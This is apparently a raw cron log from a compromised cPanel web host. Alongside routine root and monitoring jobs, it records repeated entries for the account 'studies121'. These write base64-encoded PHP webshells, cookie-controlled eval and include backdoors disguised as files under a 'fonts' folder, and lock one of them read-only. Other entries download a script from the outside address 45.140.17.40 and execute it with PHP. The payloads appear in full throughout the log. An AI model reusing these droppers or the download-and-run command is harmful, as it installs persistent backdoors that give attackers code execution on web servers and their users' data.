Sep  6 17:42:01 ip-184-168-122-23 CROND[6196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:43:01 ip-184-168-122-23 CROND[6296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:43:01 ip-184-168-122-23 CROND[6298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:43:01 ip-184-168-122-23 CROND[6299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:43:01 ip-184-168-122-23 CROND[6302]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:44:01 ip-184-168-122-23 CROND[6454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:44:01 ip-184-168-122-23 CROND[6456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:44:01 ip-184-168-122-23 CROND[6458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:44:01 ip-184-168-122-23 CROND[6455]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:44:01 ip-184-168-122-23 CROND[6457]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:45:01 ip-184-168-122-23 CROND[6547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:45:01 ip-184-168-122-23 CROND[6549]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 17:45:01 ip-184-168-122-23 CROND[6554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:45:01 ip-184-168-122-23 CROND[6553]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 17:45:01 ip-184-168-122-23 CROND[6551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:45:01 ip-184-168-122-23 CROND[6556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:46:01 ip-184-168-122-23 CROND[6658]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 17:46:01 ip-184-168-122-23 CROND[6662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:46:01 ip-184-168-122-23 CROND[6664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:46:01 ip-184-168-122-23 CROND[6666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:46:01 ip-184-168-122-23 CROND[6660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:46:01 ip-184-168-122-23 CROND[6663]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:46:01 ip-184-168-122-23 CROND[6661]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 17:47:01 ip-184-168-122-23 CROND[6753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:47:01 ip-184-168-122-23 CROND[6755]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:47:01 ip-184-168-122-23 CROND[6759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:47:01 ip-184-168-122-23 CROND[6757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:48:01 ip-184-168-122-23 CROND[6839]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:48:01 ip-184-168-122-23 CROND[6840]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:48:01 ip-184-168-122-23 CROND[6841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:48:01 ip-184-168-122-23 CROND[6842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:48:01 ip-184-168-122-23 CROND[6843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:49:01 ip-184-168-122-23 CROND[6923]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:49:01 ip-184-168-122-23 CROND[6926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:49:01 ip-184-168-122-23 CROND[6927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:49:01 ip-184-168-122-23 CROND[6925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:50:01 ip-184-168-122-23 CROND[7023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:50:01 ip-184-168-122-23 CROND[7022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:50:01 ip-184-168-122-23 CROND[7027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:50:01 ip-184-168-122-23 CROND[7026]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:50:01 ip-184-168-122-23 CROND[7030]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 17:50:01 ip-184-168-122-23 CROND[7032]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 17:50:01 ip-184-168-122-23 CROND[7029]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 17:50:01 ip-184-168-122-23 CROND[7033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:50:01 ip-184-168-122-23 CROND[7031]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 17:51:01 ip-184-168-122-23 CROND[7125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:51:01 ip-184-168-122-23 CROND[7129]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:51:01 ip-184-168-122-23 CROND[7131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:51:01 ip-184-168-122-23 CROND[7130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:52:01 ip-184-168-122-23 CROND[7212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:52:01 ip-184-168-122-23 CROND[7214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:52:01 ip-184-168-122-23 CROND[7215]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:52:01 ip-184-168-122-23 CROND[7219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:52:01 ip-184-168-122-23 CROND[7221]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:53:01 ip-184-168-122-23 CROND[7297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:53:01 ip-184-168-122-23 CROND[7298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:53:01 ip-184-168-122-23 CROND[7302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:53:01 ip-184-168-122-23 CROND[7303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:54:01 ip-184-168-122-23 CROND[7475]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:54:01 ip-184-168-122-23 CROND[7476]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:54:01 ip-184-168-122-23 CROND[7477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:54:01 ip-184-168-122-23 CROND[7480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:54:01 ip-184-168-122-23 CROND[7478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:55:01 ip-184-168-122-23 CROND[7566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
